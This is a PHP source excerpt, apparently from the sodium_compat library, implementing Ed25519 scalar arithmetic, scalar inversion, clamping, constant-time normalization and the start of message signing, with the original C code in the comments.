$b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) + self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22); $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) + self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22); $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22) + self::mul($a11, $b7, 22); $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) + self::mul($a11, $b8, 22); $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22); $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22); $s22 = self::mul($a11, $b11, 22); $s23 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry18 = (s18 + (int64_t) (1L << 20)) >> 21; // s19 += carry18; // s18 -= carry18 * ((uint64_t) 1L << 21); $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; // carry20 = (s20 + (int64_t) (1L << 20)) >> 21; // s21 += carry20; // s20 -= carry20 * ((uint64_t) 1L << 21); $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; // carry22 = (s22 + (int64_t) (1L << 20)) >> 21; // s23 += carry22; // s22 -= carry22 * ((uint64_t) 1L << 21); $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // carry17 = (s17 + (int64_t) (1L << 20)) >> 21; // s18 += carry17; // s17 -= carry17 * ((uint64_t) 1L << 21); $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; // carry19 = (s19 + (int64_t) (1L << 20)) >> 21; // s20 += carry19; // s19 -= carry19 * ((uint64_t) 1L << 21); $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; // carry21 = (s21 + (int64_t) (1L << 20)) >> 21; // s22 += carry21; // s21 -= carry21 * ((uint64_t) 1L << 21); $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; // s11 += s23 * 666643; // s12 += s23 * 470296; // s13 += s23 * 654183; // s14 -= s23 * 997805; // s15 += s23 * 136657; // s16 -= s23 * 683901; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); // s10 += s22 * 666643; // s11 += s22 * 470296; // s12 += s22 * 654183; // s13 -= s22 * 997805; // s14 += s22 * 136657; // s15 -= s22 * 683901; $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); // s9 += s21 * 666643; // s10 += s21 * 470296; // s11 += s21 * 654183; // s12 -= s21 * 997805; // s13 += s21 * 136657; // s14 -= s21 * 683901; $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); // s8 += s20 * 666643; // s9 += s20 * 470296; // s10 += s20 * 654183; // s11 -= s20 * 997805; // s12 += s20 * 136657; // s13 -= s20 * 683901; $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); // s7 += s19 * 666643; // s8 += s19 * 470296; // s9 += s19 * 654183; // s10 -= s19 * 997805; // s11 += s19 * 136657; // s12 -= s19 * 683901; $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); // s6 += s18 * 666643; // s7 += s18 * 470296; // s8 += s18 * 654183; // s9 -= s18 * 997805; // s10 += s18 * 136657; // s11 -= s18 * 683901; $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // s5 += s17 * 666643; // s6 += s17 * 470296; // s7 += s17 * 654183; // s8 -= s17 * 997805; // s9 += s17 * 136657; // s10 -= s17 * 683901; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); // s4 += s16 * 666643; // s5 += s16 * 470296; // s6 += s16 * 654183; // s7 -= s16 * 997805; // s8 += s16 * 136657; // s9 -= s16 * 683901; $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); // s3 += s15 * 666643; // s4 += s15 * 470296; // s5 += s15 * 654183; // s6 -= s15 * 997805; // s7 += s15 * 136657; // s8 -= s15 * 683901; $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); // s2 += s14 * 666643; // s3 += s14 * 470296; // s4 += s14 * 654183; // s5 -= s14 * 997805; // s6 += s14 * 136657; // s7 -= s14 * 683901; $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); // s1 += s13 * 666643; // s2 += s13 * 470296; // s3 += s13 * 654183; // s4 -= s13 * 997805; // s5 += s13 * 136657; // s6 -= s13 * 683901; $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry11 = s11 >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $s = array_fill(0, 32, 0); // s[0] = s0 >> 0; $s[0] = $s0 >> 0; // s[1] = s0 >> 8; $s[1] = $s0 >> 8; // s[2] = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5)); $s[2] = ($s0 >> 16) | ($s1 << 5); // s[3] = s1 >> 3; $s[3] = $s1 >> 3; // s[4] = s1 >> 11; $s[4] = $s1 >> 11; // s[5] = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2)); $s[5] = ($s1 >> 19) | ($s2 << 2); // s[6] = s2 >> 6; $s[6] = $s2 >> 6; // s[7] = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7)); $s[7] = ($s2 >> 14) | ($s3 << 7); // s[8] = s3 >> 1; $s[8] = $s3 >> 1; // s[9] = s3 >> 9; $s[9] = $s3 >> 9; // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4)); $s[10] = ($s3 >> 17) | ($s4 << 4); // s[11] = s4 >> 4; $s[11] = $s4 >> 4; // s[12] = s4 >> 12; $s[12] = $s4 >> 12; // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1)); $s[13] = ($s4 >> 20) | ($s5 << 1); // s[14] = s5 >> 7; $s[14] = $s5 >> 7; // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6)); $s[15] = ($s5 >> 15) | ($s6 << 6); // s[16] = s6 >> 2; $s[16] = $s6 >> 2; // s[17] = s6 >> 10; $s[17] = $s6 >> 10; // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3)); $s[18] = ($s6 >> 18) | ($s7 << 3); // s[19] = s7 >> 5; $s[19] = $s7 >> 5; // s[20] = s7 >> 13; $s[20] = $s7 >> 13; // s[21] = s8 >> 0; $s[21] = $s8 >> 0; // s[22] = s8 >> 8; $s[22] = $s8 >> 8; // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5)); $s[23] = ($s8 >> 16) | ($s9 << 5); // s[24] = s9 >> 3; $s[24] = $s9 >> 3; // s[25] = s9 >> 11; $s[25] = $s9 >> 11; // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2)); $s[26] = ($s9 >> 19) | ($s10 << 2); // s[27] = s10 >> 6; $s[27] = $s10 >> 6; // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7)); $s[28] = ($s10 >> 14) | ($s11 << 7); // s[29] = s11 >> 1; $s[29] = $s11 >> 1; // s[30] = s11 >> 9; $s[30] = $s11 >> 9; // s[31] = s11 >> 17; $s[31] = $s11 >> 17; return self::intArrayToString($s); } /** * @param string $s * @return string */ public static function sc25519_sq($s) { return self::sc25519_mul($s, $s); } /** * @param string $s * @param int $n * @param string $a * @return string */ public static function sc25519_sqmul($s, $n, $a) { for ($i = 0; $i < $n; ++$i) { $s = self::sc25519_sq($s); } return self::sc25519_mul($s, $a); } /** * @param string $s * @return string */ public static function sc25519_invert($s) { $_10 = self::sc25519_sq($s); $_11 = self::sc25519_mul($s, $_10); $_100 = self::sc25519_mul($s, $_11); $_1000 = self::sc25519_sq($_100); $_1010 = self::sc25519_mul($_10, $_1000); $_1011 = self::sc25519_mul($s, $_1010); $_10000 = self::sc25519_sq($_1000); $_10110 = self::sc25519_sq($_1011); $_100000 = self::sc25519_mul($_1010, $_10110); $_100110 = self::sc25519_mul($_10000, $_10110); $_1000000 = self::sc25519_sq($_100000); $_1010000 = self::sc25519_mul($_10000, $_1000000); $_1010011 = self::sc25519_mul($_11, $_1010000); $_1100011 = self::sc25519_mul($_10000, $_1010011); $_1100111 = self::sc25519_mul($_100, $_1100011); $_1101011 = self::sc25519_mul($_100, $_1100111); $_10010011 = self::sc25519_mul($_1000000, $_1010011); $_10010111 = self::sc25519_mul($_100, $_10010011); $_10111101 = self::sc25519_mul($_100110, $_10010111); $_11010011 = self::sc25519_mul($_10110, $_10111101); $_11100111 = self::sc25519_mul($_1010000, $_10010111); $_11101011 = self::sc25519_mul($_100, $_11100111); $_11110101 = self::sc25519_mul($_1010, $_11101011); $recip = self::sc25519_mul($_1011, $_11110101); $recip = self::sc25519_sqmul($recip, 126, $_1010011); $recip = self::sc25519_sqmul($recip, 9, $_10); $recip = self::sc25519_mul($recip, $_11110101); $recip = self::sc25519_sqmul($recip, 7, $_1100111); $recip = self::sc25519_sqmul($recip, 9, $_11110101); $recip = self::sc25519_sqmul($recip, 11, $_10111101); $recip = self::sc25519_sqmul($recip, 8, $_11100111); $recip = self::sc25519_sqmul($recip, 9, $_1101011); $recip = self::sc25519_sqmul($recip, 6, $_1011); $recip = self::sc25519_sqmul($recip, 14, $_10010011); $recip = self::sc25519_sqmul($recip, 10, $_1100011); $recip = self::sc25519_sqmul($recip, 9, $_10010111); $recip = self::sc25519_sqmul($recip, 10, $_11110101); $recip = self::sc25519_sqmul($recip, 8, $_11010011); return self::sc25519_sqmul($recip, 8, $_11101011); } /** * @param string $s * @return string */ public static function clamp($s) { $s_ = self::stringToIntArray($s); $s_[0] &= 248; $s_[31] |= 64; $s_[31] &= 128; return self::intArrayToString($s_); } /** * Ensure limbs are less than 28 bits long to prevent float promotion. * * This uses a constant-time conditional swap under the hood. * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63 $g = self::fe_copy($f); for ($i = 0; $i < 10; ++$i) { $mask = -(($g[$i] >> $x) & 1); /* * Get two candidate normalized values for $g[$i], depending on the sign of $g[$i]: */ $a = $g[$i] & 0x7ffffff; $b = -((-$g[$i]) & 0x7ffffff); /* * Return the appropriate candidate value, based on the sign of the original input: * * The following is equivalent to this ternary: * * $g[$i] = (($g[$i] >> $x) & 1) ? $a : $b; * * Except what's written doesn't contain timing leaks. */ $g[$i] = ($a ^ (($a ^ $b) & $mask)); } return $g; } } PK+L[umLDLDsrc/Core/Ed25519.phpnu[X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); hash_update($hs, self::substr($az, 32, 32)); hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); hash_update($hs, self::substr($sig, 0, 32)); hash_update($hs, self::substr($pk, 0, 32)); hash_update($hs, $message); $hramHash = hash_final($hs, true); # 